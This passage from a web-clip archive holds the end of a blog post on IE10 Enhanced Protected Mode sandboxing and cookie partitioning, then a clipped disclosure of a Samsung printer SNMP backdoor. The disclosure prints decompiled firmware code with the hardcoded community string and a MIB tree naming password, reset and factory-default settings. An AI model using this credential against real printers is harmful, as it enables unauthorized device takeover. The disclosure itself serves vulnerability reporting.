at http://192.168.1.1 or a similar address that is not globally-routable. On
one hand, it’s desirable to prevent Internet content from sending requests to
such addresses to help block CSRF-attacks that might maliciously reconfigure
poorly-secured routers. However, for historical and other reasons, Security
Zones consider this dotted hostname to be an Internet-Zone address by default,
which means that if you attempt to navigate to the Router configuration page
in Metro-style IE, you may encounter a Page Cannot Be Displayed error page. If
you enable EPM in the Desktop mode of the browser, you can use the F12
Developer tools to see why the request was blocked:

> <img src='img/Temp2_8690.jpg' width='726' height='318' alt='EPMOnFails' />
_Note: The next update to IE10 will use a more specific error message here;
this string was designed for developers of Metro-style applications, not for
folks debugging in EPM in IE._

**_To resolve this issue_** , you can either use a non-dotted hostname for your router \(e.g. my DNS points http://router to 192.168.1.1\) or you can manually add the router’s address to your Trusted Sites zone using the **Tools > Internet Options > Security | Trusted | Sites...** list. When navigating to Trusted Sites, the navigation occurs outside of Protected Mode, so AppContainer restrictions are not a problem.
There’s a non-obvious subtlety here which bears mentioning. When I personally
tried to reproduce this restriction at home, I had no problem in navigating
straight to the router’s IP Address in both Metro and Desktop IE with EPM
enabled:

<img src='img/Temp2_8689.jpg' width='575' height='173' alt='EPMOff' />

What’s up with that?

The explanation is that the AppContainer network restrictions are sensitive to
your network configuration. When I had originally connected to my router, I
had selected the following configuration:

<img src='img/Temp2_8688.jpg' width='307' height='413' alt='MarkPublic' />

As a result, the Windows Firewall considered my router part of a public
network:

<img src='img/Temp2_8687.jpg' width='514' height='151' alt='LinkSysIsPub' />

…and thus AppContainers are freely able to contact the 192.168.1.1 address as
I had indicated that I was on a “Public Network” and thus the
**privateNetworkClientServer** capability is not required to contact local /
non-routable addresses like 192.168.1.1.

I can enable the network restriction by reconfiguring my network settings.
First, I use the sidebar's context menu to tell Windows to “forget” my Linksys
connection. Then, I re-established it as a “home” network:

<img src='img/Temp2_8692.jpg' width='312' height='410' alt='MarkPrivate' />

This causes the Windows Firewall consider this a “Private network”:

<img src='img/Temp2_8685.jpg' width='500' height='150' alt='LinksysPriv' />

...and subsequently block connections to "local" addresses from AppContainers
that lack the **privateNetworkClientServer** capability.

## AppContainer – Isolation of Cookies and Cache

AppContainers do not have read or write access to files outside of their
container, which means that the cache, cookies, and other web-platform state
information is not shared between different AppContainers and the rest of the
system. This means, for instance, that if you have a Windows Web App \(a
Metro-style app written in HTML+JavaScript\), that application will not share
cookies or cache files with Internet Explorer. Similarly, Metro-style apps
will not share cookies and cache with one another.

This “partitioning” can be great for security and privacy, because it means
that your use of one application isn’t visible to another. For instance, if
you log into your Banking App, the banking app’s cache, cookies, and
credentials aren’t available to be stolen from pages you browse in Metro-style
Internet Explorer, even if a vulnerability was discovered that allowed an
attacker to run arbitrary native code in the AppContainer.

However, partitioning can lead to unexpected behaviors. I describe some of
these in a previous post called Beware Cookie Sharing in Cross-Zone Scenarios.
In that post, I observed that even in IE7 to IE9, there exists a partition
between sites that run in Medium Integrity vs. those that run in Protected
Mode, such that cookies are not shared between those modes. That can lead to
problems when a site in one zone frames another, since _the sandbox in which
all frames in a page run is determined by the top-level page_ ’s Zone.

In Windows 8, the existing Medium IL / Low IL partition remains, and a new EPM
AppContainer partition is added as well. It’s now possible for a user to have
**three** independent copies of a cookie for a single site in IE \(not even
counting other non-IE Metro Apps\). For instance, if www.example.com tries to
set a cookie when it’s the subframe of an Intranet top-level page, that cookie
will go in the **MediumIL** cookie jar. If the user then visits
www.example.com in Metro-style IE, the cookie will be set in the EPM’s
**AppContainer** cookie jar. Then, if the user visits www.example.com in
Desktop IE, the cookie will be set in the **LowIL** cookie jar. These three
cookies are independent, and changes or deletions of the cookie in one
partition will not be seen in the other partitions. If the user "logs out" in
one mode of the browser \(which deletes the cookie\) the other modes of the
browser will remain "logged in" \(since their cookies are isolated\). Sites
that need to securely log a user out across all browser modes should continue
to _expire the session on the server_ , rather than only relying on the client
to stop sending a given cookie.

To be explicit, the following data stores are partitioned between Internet
Zone content running in Metro-style IE \(in EPM\) and Desktop IE \(in LowIL\):

  * Cookies
  * Cache files
  * Web Storage
  * IndexedDB
  * userData

In contrast, Local Intranet Zone and Trusted Zone pages run in Medium IL in
both Metro-style IE and Desktop IE, and thus these Zones' data stores are
shared between both browser modes.

### Cookie Pushing

One exception exists to the partitioning behavior described above. When you
use the **View on the Desktop** command in Metro-style IE, it will "push" the
current tab’s _session cookies_ into the new Desktop IE instance that opens.
However, this only applies to _session cookies_ and not _persistent cookies._

You can see how this works by following these steps:

  1. Clear all cookies using Delete Browser History
  2. Visit www.facebook.com in Metro-style IE
  3. Log in with the **Keep me logged in** box unchecked on the Facebook site 
  4. Facebook will send you a session cookie containing your credentials. 
  5. Invoke the **View on the Desktop** command

At this point, you should find that Desktop IE shows your default post-logon
Facebook page \(e.g. your Wall\)-- you're still logged in.

Now close your browsers and repeat these steps, except at step \#3, _check_
the **Keep me logged in option**. At Step \#4, Facebook will send you a
persistent cookie with your credentials. When you switch to Desktop IE at step
\#5, you will find that you are not logged in to Facebook, because the
persistent cookie set by Facebook isn’t pushed to Desktop IE.

You will further notice that if you enable Enhanced Protected Mode for Desktop
IE, when switching from Metro IE to Desktop IE you will remain logged into
Facebook in Desktop, because MetroIE in EPM shares cookies with DesktopIE in
EPM since they are both running in the same AppContainer.

# Add-ons in Enhanced Protected Mode

Metro-style Internet Explorer does not load add-ons, so there are no
AppContainer considerations to worry about in MetroIE.

In contrast, most users _expect_ add-ons to work in Desktop IE, but very few
add-ons are AppContainer-compatible today. If you enable EPM in the desktop
and have a BHO or Toolbar that isn’t EPM compatible, the add-on will be
disabled:

<img src='img/Temp2_8695.jpg' width='500' height='63' alt='BingBar' />

If you visit a page that requires an ActiveX control which is not EPM-
compatible, you’ll be provided the opportunity to load the page in a special
“Low IL Compat” tab that runs the page at 32bits in LowIL instead of in an
64-bit AppContainer:

<img src='img/Temp2_8686.jpg' alt='Notification message which reads “This
webpage wants to run 'Adobe Flash Player 10.3 d162'. If you trust this site,
you can disable Enhanced Protected Mode for this site to run the control.” The
notication bar contains one button labeled “Disable”.' />

In order to be EPM-compatible, Toolbars and BHOs must be available in 32bit
and 64bit flavors, to avoid toolbars or other UI appearing and disappearing as
you navigate between zones that run at different bitnesses. To load in EPM on
Windows 8, the add-on must also indicate that it is compatible with the
AppContainer security sandbox by registering with a COM Component Category
that indicates that the component was designed and tested to ensure it runs
correctly in the no-read-up sandbox.

The category is named CATID\_AppContainerCompatible and its GUID is
\{59fb2056-d625-48d0-a944-1a85b5ab2640\}. C++ programmers may use:

DEFINE\_GUID\(CATID\_AppContainerCompatible,
0x59fb2056,0xd625,0x48d0,0xa9,0x44,0x1a,0x85,0xb5,0xab,0x26,0x40\);

Any non-trivial add-on is likely to find that it needs access to resources
that are not available from within an AppContainer. The way to security
provide such access is to build a **broker** object that runs at Medium IL. In
Vista and later, brokers were needed to write protected resources, and in EPM,
they are required to _read_ protected resources. The general pattern is:

  1. Untrusted code \(the add-on running in the Protected Mode tab\) calls a method in the broker, passing aero or more arguments. 
  2. The broker evaluates the request's arguments and its own security policy. 
  3. The broker confirms with the user that the requested operation is acceptable \(e.g. by showing a Save prompt or whatever\). 
  4. The broker undertakes the operation if allowed, or blocks it if denied. 

Writing a broker is a significant undertaking, and requires a thorough
security audit to ensure that the broker doesn’t allow malicious code to
escape from the tab running in Protected Mode.

-Eric
  * 

64bit, Security, caching, Win7, UAC, add-ons, networking, cookies, Zones,
sessions, BetterInIE10

# VU\#281284 - Samsung Printer SNMP Backdoor -

**Created:**| _11/28/2012 8:17:13 PM_  
---|---  
**Updated:**| _11/28/2012 8:17:13 PM_  
**Author:**| __  
**Tags:**| _LOLZ Firmware printer backdoor passwords_  
  

#

\#

### VU\#281284 - Samsung Printer SNMP Backdoor

In regards to http://www.kb.cert.org/vuls/id/281284

I don’t have time to write up a full post on this like I wanted to. Here’s the
details you wanted anyways:

>
[code]

>     File: NetWorkManager.class  
>     > ......
>  
[/code]

[code]

>     public class NetworkManager
>     {
>     private static final int DEFAULT_PORT = 161;
>     private static final int[] DEFAULT_TIMEOUT = { 1000, 2000, 2000 };
>     private static final int DEFAULT_DELAY = 60000;
>     private static final int DEFAULT_PERIOD = 60000;
>     private static final String SECRET_PUBLIC = "s!a@m#n$p%c";
>     private static final int CUSTOM_TRAPPORT = 1118;
>     private static String m_sPublic = "s!a@m#n$p%c";
>     private static String m_sHost = null;
>     private static int m_iport = 161;
>     private static int[] m_timeout = DEFAULT_TIMEOUT;
>     private static URL m_SETURL = null;  
>     > .......
>  
[/code]

I like the sneaky CUSTOM\_TRAPPORT . ~~And that password looks to be way to
complex for it to be left in ‘by accident’.~~ I doubt ‘mistakes’ are named
‘SECRET\_PUBLIC’… Also, that community string has been found in firmware
dating back to 2004.

And what good would this be without the custom MIB file:

> public class SamsungMIB  
>  
>  \{  
>  
>  public static final OID org = new OID\(1, 3\);  
>  
>  public static final OID dod = org.index\(6\);  
>  
>  public static final OID internet = dod.index\(1\);  
>  
>  public static final OID directory = internet.index\(1\);  
>  
>  public static final OID mgmt = internet.index\(2\);  
>  
>  public static final OID experimental = internet.index\(3\);  
>  
>  public static final OID privateOID = internet.index\(4\);  
>  
>  public static final OID enterprises = privateOID.index\(1\);  
>  
>  
>  
>  public static final OID mib\_2 = mgmt.index\(1\);  
>  
>  public static final OID systems = mib\_2.index\(1\);  
>  
>  public static final OID snmp = mib\_2.index\(11\);  
>  
>  
>  
>  public static final OID sysContact = systems.index\(4\);  
>  
>  
>  
>  public static final OID snmpEnableAuthenTraps = snmp.index\(30\);  
>  
>  
>  
>  public static final OID PrinterName = systems.index\(5\);  
>  
>  public static final OID Printerdescription = systems.index\(6\);  
>  
>  
>  
>  public static final OID samsung = enterprises.index\(236\);  
>  
>  public static final OID division = samsung.index\(11\);  
>  
>  public static final OID oadivision = division.index\(5\);  
>  
>  
>  
>  public static final OID netprinter = oadivision.index\(1\);  
>  
>  public static final OID npctrap = oadivision.index\(2\);  
>  
>  
>  
>  public static final OID printer = netprinter.index\(1\);  
>  
>  
>  
>  public static final OID npc = netprinter.index\(12\);  
>  
>  
>  
>  public static final OID modelName = printer.index\(1\);  
>  
>  public static final OID printingMenu = printer.index\(2\);  
>  
>  public static final OID configMenu = printer.index\(3\);  
>  
>  public static final OID jobMenu = printer.index\(4\);  
>  
>  public static final OID serialMenu = printer.index\(5\);  
>  
>  public static final OID pclMenu = printer.index\(6\);  
>  
>  public static final OID ks5843Menu = printer.index\(7\);  
>  
>  public static final OID kssmMenu = printer.index\(8\);  
>  
>  public static final OID printerStatus = printer.index\(9\);  
>  
>  public static final OID testPrintReq = printer.index\(10\);  
>  
>  public static final OID ippMenu = printer.index\(11\);  
>  
>  public static final OID ks5895Menu = printer.index\(12\);  
>  
>  public static final OID EpsonMenu = printer.index\(13\);  
>  
>  public static final OID psMenu = printer.index\(14\);  
>  
>  public static final OID pjlMenu = printer.index\(15\);  
>  
>  public static final OID condorPrintingMenu = printer.index\(16\);  
>  
>  public static final OID condorPrintQualityMenu = printer.index\(17\);  
>  
>  public static final OID condorPaperHandlingMenu = printer.index\(18\);  
>  
>  public static final OID condorCfgMenu = printer.index\(19\);  
>  
>  public static final OID condorPCLMenu = printer.index\(20\);  
>  
>  public static final OID condorPS3Menu = printer.index\(21\);  
>  
>  public static final OID condorKSC5843Menu = printer.index\(22\);  
>  
>  public static final OID condorKSSMMenu = printer.index\(23\);  
>  
>  public static final OID condorKSC5895Menu = printer.index\(24\);  
>  
>  public static final OID condorEpsonMenu = printer.index\(25\);  
>  
>  
>  
>  public static final OID netw = npc.index\(1\);  
>  
>  public static final OID config = npc.index\(2\);  
>  
>  public static final OID control = npc.index\(3\);  
>  
>  public static final OID conns = npc.index\(4\);  
>  
>  public static final OID appleTalk = npc.index\(5\);  
>  
>  public static final OID secret = npc.index\(6\);  
>  
>  public static final OID ipp = npc.index\(7\);  
>  
>  public static final OID dlc = npc.index\(8\);  
>  
>  public static final OID netbios = npc.index\(9\);  
>  
>  public static final OID smb = npc.index\(10\);  
>  
>  public static final OID webprinter = npc.index\(11\);  
>  
>  public static final OID emailprinter = npc.index\(12\);  
>  
>  
>  
>  public static final OID eprinter = emailprinter.index\(1\);  
>  
>  public static final OID emaildetails = eprinter.index\(1\);  
>  
>  
>  
>  public static final OID wprinter = webprinter.index\(1\);  
>  
>  public static final OID webdetails = wprinter.index\(1\);  
>  
>  
>  
>  public static final OID general = secret.index\(1\);  
>  
>  public static final OID traps = secret.index\(2\);  
>  
>  public static final OID communities = secret.index\(3\);  
>  
>  
>  
>  public static final OID modelName\_MODEL\_NAME = modelName.index\(1\);  
>  
>  public static final OID modelName\_SW\_VERSION = modelName.index\(2\);  
>  
>  public static final OID modelName\_MODEL\_VERSION = modelName.index\(3\);  
>  
>  
>  
>  public static final OID printingMenu\_PAPER\_SIZE =
> printingMenu.index\(1\);  
>  
>  public static final OID printingMenu\_PAPER\_SIZE\_OPTIONS =
> printingMenu.index\(2\);  
>  
>  public static final OID printingMenu\_MP\_SIZE = printingMenu.index\(3\);  
>  
>  public static final OID printingMenu\_MP\_SIZE\_OPTION =
> printingMenu.index\(4\);  
>  
>  public static final OID printingMenu\_COPY\_NUM = printingMenu.index\(5\);  
>  
>  public static final OID printingMenu\_ORIENTATION =
> printingMenu.index\(6\);  
>  
>  public static final OID printingMenu\_ORIENTATION\_OPTION =
> printingMenu.index\(7\);  
>  
>  public static final OID printingMenu\_TRAY\_NUM = printingMenu.index\(8\);  
>  
>  public static final OID printingMenu\_TRAY\_OPTION =
> printingMenu.index\(9\);  
>  
>  public static final OID printingMenu\_TOP\_MARGIN =
> printingMenu.index\(10\);  
>  
>  public static final OID printingMenu\_LEFT\_MARGIN =
> printingMenu.index\(11\);  
>  
>  public static final OID printingMenu\_NDUPLEX = printingMenu.index\(12\);  
>  
>  public static final OID printingMenu\_DUPL\_OPTIONS =
> printingMenu.index\(13\);  
>  
>  public static final OID printingMenu\_AUTO\_CR = printingMenu.index\(14\);  
>  
>  public static final OID printingMenu\_AUTO\_CR\_OPTIONS =
> printingMenu.index\(15\);  
>  
>  public static final OID printingMenu\_RESOLUTION =
> printingMenu.index\(16\);  
>  
>  public static final OID printingMenu\_RESOLUTION\_OPTIONS =
> printingMenu.index\(17\);  
>  
>  public static final OID printingMenu\_WIDE\_A4 = printingMenu.index\(18\);  
>  
>  public static final OID printingMenu\_WIDE\_A4\_OPTION =
> printingMenu.index\(19\);  
>  
>  
>  
>  public static final OID configMenu\_NEMULATION = configMenu.index\(1\);  
>  
>  public static final OID configMenu\_EMUL\_OPTIONS = configMenu.index\(2\);  
>  
>  public static final OID configMenu\_TRAY\_SWITCH = configMenu.index\(3\);  
>  
>  public static final OID configMenu\_TRAY\_SWITCH\_OPTIONS =
> configMenu.index\(4\);  
>  
>  public static final OID configMenu\_NLOCK\_TRAY = configMenu.index\(5\);  
>  
>  public static final OID configMenu\_LOCK\_TRAY\_OPTIONS =
> configMenu.index\(6\);  
>  
>  public static final OID configMenu\_NPOWER\_SAVE = configMenu.index\(7\);  
>  
>  public static final OID configMenu\_POWER\_SAVE\_OPTIONS =
> configMenu.index\(8\);  
>  
>  public static final OID configMenu\_NAUTO\_CONT = configMenu.index\(9\);  
>  
>  public static final OID configMenu\_NAUTO\_COUNT\_OPTIONS =
> configMenu.index\(10\);  
>  
>  public static final OID configMenu\_ECHO\_MODE = configMenu.index\(11\);  
>  
>  public static final OID configMenu\_ECHO\_MODE\_OPTIONS =
> configMenu.index\(12\);  
>  
>  public static final OID configMenu\_NJAM2\_RECOVER =
> configMenu.index\(13\);  
>  
>  public static final OID configMenu\_JAM2\_REC\_OPTIONS =
> configMenu.index\(14\);  
>  
>  public static final OID configMenu\_TONER\_LOW\_ACTION =
> configMenu.index\(15\);  
>  
>  public static final OID configMenu\_TONER\_LOW\_ATION\_OPTIONS =
> configMenu.index\(16\);  
>  
>  public static final OID configMenu\_ALTITUDE\_ACTION =
> configMenu.index\(17\);  
>  
>  public static final OID configMenu\_ALTITUDE\_ACTION\_OPTIONS =
> configMenu.index\(18\);  
>  
>  
>  
>  public static final OID jobMenu\_NSRT = jobMenu.index\(1\);  
>  
>  public static final OID jobMenu\_SRT\_OPTIONS = jobMenu.index\(2\);  
>  
>  public static final OID jobMenu\_NTIMEOUT = jobMenu.index\(3\);  
>  
>  
>  
>  public static final OID jobMenu\_NDENSITY = jobMenu.index\(5\);  
>  
>  public static final OID jobMenu\_DENSITY\_OPTIONS = jobMenu.index\(6\);  
>  
>  public static final OID jobMenu\_PAPER\_TYPE = jobMenu.index\(7\);  
>  
>  public static final OID jobMenu\_PAPER\_TYPE\_OPTIONS = jobMenu.index\(8\);  
>  
>  public static final OID jobMenu\_MENU\_CLEAR = jobMenu.index\(9\);  
>  
>  public static final OID jobMenu\_MENU\_CLEAR\_OPTIONS =
> jobMenu.index\(10\);  
>  
>  public static final OID jobMenu\_SMET\_MODE = jobMenu.index\(11\);  
>  
>  public static final OID jobMenu\_SMET\_MODE\_OPTIONS = jobMenu.index\(12\);  
>  
>  public static final OID jobMenu\_DUPLEX\_TOP\_MARGIN = jobMenu.index\(13\);  
>  
>  public static final OID jobMenu\_DUPLEX\_LEFT\_MARGIN =
> jobMenu.index\(14\);  
>  
>  public static final OID jobMenu\_SHORTEDGE\_BINDING\_MARGIN =
> jobMenu.index\(15\);  
>  
>  public static final OID jobMenu\_LONGEDGE\_BINDING\_MARGIN =
> jobMenu.index\(16\);  
>  
>  public static final OID jobMenu\_NFUSER\_CLEAN = jobMenu.index\(17\);  
>  
>  public static final OID jobMenu\_FUSER\_CLEAN\_OPTIONS =
> jobMenu.index\(18\);  
>  
>  public static final OID jobMenu\_NOPC\_CLEAN = jobMenu.index\(19\);  
>  
>  public static final OID jobMenu\_OPC\_CLEAN\_OPTIONS = jobMenu.index\(20\);  
>  
>  
>  
>  public static final OID printerSta = printerStatus.index\(1\);  
>  
>  public static final OID pageCount = printerStatus.index\(2\);  
>  
>  public static final OID condorPrinterSta = printerStatus.index\(3\);  
>  
>  public static final OID Hddjoblist = printerStatus.index\(4\);  
>  
>  public static final OID prnCntCopy = printerStatus.index\(5\);  
>  
>  public static final OID prnCntPrn = printerStatus.index\(6\);  
>  
>  public static final OID prnCntFax = printerStatus.index\(7\);  
>  
>  public static final OID totalScanCnt = printerStatus.index\(8\);  
>  
>  public static final OID scanCntCopy = printerStatus.index\(9\);  
>  
>  public static final OID scanCntSendFax = printerStatus.index\(10\);  
>  
>  public static final OID optionFinisher = printerStatus.index\(11\);  
>  
>  public static final OID optionTray = printerStatus.index\(12\);  
>  
>  public static final OID optionADF = printerStatus.index\(13\);  
>  
>  
>  
>  public static final OID testPrintReq\_TEST\_PRINT\_REQUEST =
> testPrintReq.index\(1\);  
>  
>  
>  
>  public static final OID testPrintReq\_PRINT\_FONT\_REQUEST =
> testPrintReq.index\(2\);  
>  
>  
>  
>  public static final OID PrintFont =
> testPrintReq\_PRINT\_FONT\_REQUEST.index\(0\);  
>  
>  
>  
>  public static final OID psMenu\_psErrorStatus = psMenu.index\(1\);  
>  
>  public static final OID psMenu\_psErrorOptions = psMenu.index\(2\);  
>  
>  
>  
>  public static final OID pjlMenu\_generalPJL = pjlMenu.index\(1\);  
>  
>  public static final OID pjlMenu\_specifiPJL = pjlMenu.index\(2\);  
>  
>  
>  
>  public static final OID enableSecurityPasswd = general.index\(1\);  
>  
>  public static final OID securityPassword = general.index\(2\);  
>  
>  public static final OID SOSPassword = general.index\(3\);  
>  
>  public static final OID zipZoneList = general.index\(4\);  
>  
>  public static final OID resetBoard = general.index\(5\);  
>  
>  public static final OID configState = general.index\(6\);  
>  
>  public static final OID fuseMacAddr = general.index\(7\);  
>  
>  public static final OID setFacDefault = general.index\(8\);  
>  
>  
>  
>  public static final OID zipZoneIndex = zipZoneList.index\(1\);  
>  
>  public static final OID zipZoneName = zipZoneList.index\(2\);  
>  
>  
>  
>  public static final OID maxStaticTrapDests = traps.index\(1\);  
>  
>  public static final OID staticTrapDestTable = traps.index\(2\);  
>  
>  public static final OID dynamicTrapDestTable = traps.index\(3\);  
>  
>  public static final OID dynTrapDestAltTable = traps.index\(4\);  
>  
>  
>  
>  public static final OID staticTrapDestEntry =
> staticTrapDestTable.index\(1\);  
>  
>  
>  
>  public static final OID staticTrapDestIndex =
> staticTrapDestEntry.index\(1\);  
>  
>  public static final OID staticTrapDestAddr =
> staticTrapDestEntry.index\(2\);  
>  
>  public static final OID staticTrapDestCommunity =
> staticTrapDestEntry.index\(3\);  
>  
>  public static final OID staticTrapDestStatus =
> staticTrapDestEntry.index\(4\);  
>  
>  
>  
>  public static final OID dynamicTrapDestEntry =
> dynamicTrapDestTable.index\(1\);  
>  
>  
>  
>  public static final OID dynamicTrapDestType =
> dynamicTrapDestEntry.index\(1\);  
>  
>  public static final OID dynamicTrapDestAddr =
> dynamicTrapDestEntry.index\(2\);  
>  
>  public static final OID dynamicTrapDestComm =
> dynamicTrapDestEntry.index\(3\);  
>  
>  public static final OID dynamicTrapDestStatus =
> dynamicTrapDestEntry.index\(4\);  
>  
>  
>  
>  public static final OID dynTrapDestAltEntry =
> dynTrapDestAltTable.index\(1\);  
>  
>  
>  
>  public static final OID dynTrapDestAltMacAddr =
> dynTrapDestAltEntry.index\(1\);  
>  
>  public static final OID dynTrapDestAltIpAddr =
> dynTrapDestAltEntry.index\(2\);  
>  
>  public static final OID dynTrapDestAltIpxNet =
> dynTrapDestAltEntry.index\(3\);  
>  
>  public static final OID dynTrapDestAltTransProt =
> dynTrapDestAltEntry.index\(4\);  
>  
>  public static final OID dynTrapDestAltValidProt =
> dynTrapDestAltEntry.index\(5\);  
>  
>  public static final OID dynTrapDestAltComm =
> dynTrapDestAltEntry.index\(6\);  
>  
>  public static final OID dynTrapDestAltStatus =
> dynTrapDestAltEntry.index\(7\);  
>  
>  
>  
>  public static final OID maxCommunityNames = communities.index\(1\);  
>  
>  public static final OID communityNameTable = communities.index\(2\);  
>  
>  
>  
>  public static final OID communityNameEntry = communityNameTable.index\(1\);  
>  
>  
>  
>  public static final OID communityNameIndex = communityNameEntry.index\(1\);  
>  
>  public static final OID communityName = communityNameEntry.index\(2\);  
>  
>  public static final OID communityNamePerms = communityNameEntry.index\(3\);  
>  
>  public static final OID communityNameStatus =
> communityNameEntry.index\(4\);  
>  
>  
>  
>  public static final OID condorPrtLang = condorPrintingMenu.index\(1\);  
>  
>  public static final OID condorPrtLangOptions =
> condorPrintingMenu.index\(2\);  
>  
>  public static final OID condorPaperSize = condorPrintingMenu.index\(3\);  
>  
>  public static final OID condorPaperSizeOptions =
> condorPrintingMenu.index\(4\);  
>  
>  public static final OID condorMpSize = condorPrintingMenu.index\(5\);  
>  
>  public static final OID condorMpSizeOptions =
> condorPrintingMenu.index\(6\);  
>  
>  public static final OID condorPaperType = condorPrintingMenu.index\(7\);  
>  
>  public static final OID condorPaperTypeOptions =
> condorPrintingMenu.index\(8\);  
>  
>  public static final OID condorCopies = condorPrintingMenu.index\(9\);  
>  
>  public static final OID condorOrientation = condorPrintingMenu.index\(10\);  
>  
>  public static final OID condorOrientationOptions =
> condorPrintingMenu.index\(11\);  
>  
>  public static final OID condorPaperSRC = condorPrintingMenu.index\(12\);  
>  
>  public static final OID condorPaperSRCOptions =
> condorPrintingMenu.index\(13\);  
>  
>  public static final OID condorAutoSwitch = condorPrintingMenu.index\(14\);  
>  
>  public static final OID condorAutoSwitchOptions =
> condorPrintingMenu.index\(15\);  
>  
>  public static final OID condorSourceLock = condorPrintingMenu.index\(16\);  
>  
>  public static final OID condorSourceLockOptions =
> condorPrintingMenu.index\(17\);  
>  
>  public static final OID condorTopMargin = condorPrintingMenu.index\(18\);  
>  
>  public static final OID condorLeftMargin = condorPrintingMenu.index\(19\);  
>  
>  public static final OID condorDuplex = condorPrintingMenu.index\(20\);  
>  
>  public static final OID condorDuplexOptions =
> condorPrintingMenu.index\(21\);  
>  
>  public static final OID condorTimeStamp = condorPrintingMenu.index\(22\);  
>  
>  public static final OID condorTimeStampOptions =
> condorPrintingMenu.index\(23\);  
>  
>  public static final OID condorSmoothing = condorPrintingMenu.index\(24\);  
>  
>  public static final OID condorSmoothingOptions =
> condorPrintingMenu.index\(25\);  
>  
>  public static final OID condorPrintStartPage =
> condorPrintingMenu.index\(26\);  
>  
>  public static final OID condorPrintStartPageOptions =
> condorPrintingMenu.index\(27\);  
>  
>  public static final OID condorMarginUnit = condorPrintingMenu.index\(28\);  
>  
>  public static final OID condorMarginUnitOptions =
> condorPrintingMenu.index\(29\);  
>  
>  
>  
>  public static final OID condorPaperSizeTTEC =
> condorPrintingMenu.index\(30\);  
>  
>  public static final OID condorPaperSizeTTECOptions =
> condorPrintingMenu.index\(31\);  
>  
>  
>  
>  public static final OID condorResolution =
> condorPrintQualityMenu.index\(1\);  
>  
>  public static final OID condorResolutionOptions =
> condorPrintQualityMenu.index\(2\);  
>  
>  public static final OID condorSrt = condorPrintQualityMenu.index\(3\);  
>  
>  public static final OID condorSrtOptions =
> condorPrintQualityMenu.index\(4\);  
>  
>  public static final OID condorTonerSave =
> condorPrintQualityMenu.index\(5\);  
>  
>  public static final OID condorTonerSaveOptions =
> condorPrintQualityMenu.index\(6\);  
>  
>  public static final OID condorDensity = condorPrintQualityMenu.index\(7\);  
>  
>  public static final OID condorDensityOptions =
> condorPrintQualityMenu.index\(8\);  
>  
>  
>  
>  public static final OID condorMpfType = condorPaperHandlingMenu.index\(1\);  
>  
>  public static final OID condorMpfTypeOptions =
> condorPaperHandlingMenu.index\(2\);  
>  
>  public static final OID condorTray1Type =
> condorPaperHandlingMenu.index\(3\);  
>  
>  public static final OID condorTray1TypeOptions =
> condorPaperHandlingMenu.index\(4\);  
>  
>  public static final OID condorTray2Type =
> condorPaperHandlingMenu.index\(5\);  
>  
>  public static final OID condorTray2TypeOptions =
> condorPaperHandlingMenu.index\(6\);  
>  
>  public static final OID condorTray3Type =
> condorPaperHandlingMenu.index\(7\);  
>  
>  public static final OID condorTray3TypeOptions =
> condorPaperHandlingMenu.index\(8\);  
>  
>  public static final OID condorTray4Type =
> condorPaperHandlingMenu.index\(9\);  
>  
>  public static final OID condorTray4TypeOptions =
> condorPaperHandlingMenu.index\(10\);  
>  
>  public static final OID condorStaple = condorPaperHandlingMenu.index\(11\);  
>  
>  public static final OID condorStapleOptions =
> condorPaperHandlingMenu.index\(12\);  
>  
>  public static final OID condorOffset = condorPaperHandlingMenu.index\(13\);  
>  
>  public static final OID condorOffsetOptions =
> condorPaperHandlingMenu.index\(14\);  
>  
>  public static final OID condorDestination =
> condorPaperHandlingMenu.index\(15\);  
>  
>  public static final OID condorDestinationOptions =
> condorPaperHandlingMenu.index\(16\);  
>  
>  public static final OID condorFinishingSort =
> condorPaperHandlingMenu.index\(17\);  
>  
>  public static final OID condorFinishingSortOptions =
> condorPaperHandlingMenu.index\(18\);  
>  
>  public static final OID condorHolePunch =
> condorPaperHandlingMenu.index\(19\);  
>  
>  public static final OID condorHolePunchOptions =
> condorPaperHandlingMenu.index\(20\);  
>  
>  
>  
>  public static final OID condorLanguage = condorCfgMenu.index\(1\);  
>  
>  public static final OID condorLanguageOptions = condorCfgMenu.index\(2\);  
>  
>  public static final OID condorTimeOut = condorCfgMenu.index\(3\);  
>  
>  
>  
>  public static final OID condorSetDateTime = condorCfgMenu.index\(4\);  
>  
>  public static final OID condorSetDateTimeOptions =
> condorCfgMenu.index\(5\);  
>  
>  public static final OID condorPowerSave = condorCfgMenu.index\(6\);  
>  
>  public static final OID condorPowerSaveOptions = condorCfgMenu.index\(7\);  
>  
>  public static final OID condorAutoContinue = condorCfgMenu.index\(8\);  
>  
>  public static final OID condorAutoContinueOptions =
> condorCfgMenu.index\(9\);  
>  
>  public static final OID condorJamRecovery = condorCfgMenu.index\(10\);  
>  
>  public static final OID condorJamRecoveryOptions =
> condorCfgMenu.index\(11\);  
>  
>  public static final OID condorTonerLow = condorCfgMenu.index\(12\);  
>  
>  public static final OID condorTonerLowOptions = condorCfgMenu.index\(13\);  
>  
>  public static final OID condorSmet = condorCfgMenu.index\(14\);  
>  
>  public static final OID condorSmetOptions = condorCfgMenu.index\(15\);  
>  
>  public static final OID condorBanner = condorCfgMenu.index\(16\);  
>  
>  public static final OID condorBannerOptions = condorCfgMenu.index\(17\);  
>  
>  public static final OID condorFixedOverlay = condorCfgMenu.index\(18\);  
>  
>  public static final OID condorFixedOverlayOptions =
> condorCfgMenu.index\(19\);  
>  
>  public static final OID condorUserCharacterSet = condorCfgMenu.index\(21\);  
>  
>  public static final OID condorUserCharacterSetOptions =
> condorCfgMenu.index\(22\);  
>  
>  public static final OID condorDeleteTimeforJob = condorCfgMenu.index\(23\);  
>  
>  public static final OID condorDeleteTimeforJobOptions =
> condorCfgMenu.index\(24\);  
>  
>  
>  
>  public static final OID condorTypeFace = condorPCLMenu.index\(1\);  
>  
>  public static final OID condorSymbolSet = condorPCLMenu.index\(2\);  
>  
>  public static final OID condorFormLine = condorPCLMenu.index\(3\);  
>  
>  public static final OID condorPitch = condorPCLMenu.index\(4\);  
>  
>  public static final OID condorPtSize = condorPCLMenu.index\(5\);  
>  
>  public static final OID condorCourier = condorPCLMenu.index\(6\);  
>  
>  public static final OID condorCourierOptions = condorPCLMenu.index\(7\);  
>  
>  public static final OID condorAppendCR = condorPCLMenu.index\(8\);  
>  
>  public static final OID condorAppendCROptions = condorPCLMenu.index\(9\);  
>  
>  public static final OID condorWideA4 = condorPCLMenu.index\(10\);  
>  
>  public static final OID condorWideA4Options = condorPCLMenu.index\(11\);  
>  
>  
>  
>  public static final OID condorPsError = condorPS3Menu.index\(1\);  
>  
>  public static final OID condorPsErrorOptions = condorPS3Menu.index\(2\);  
>  
>  
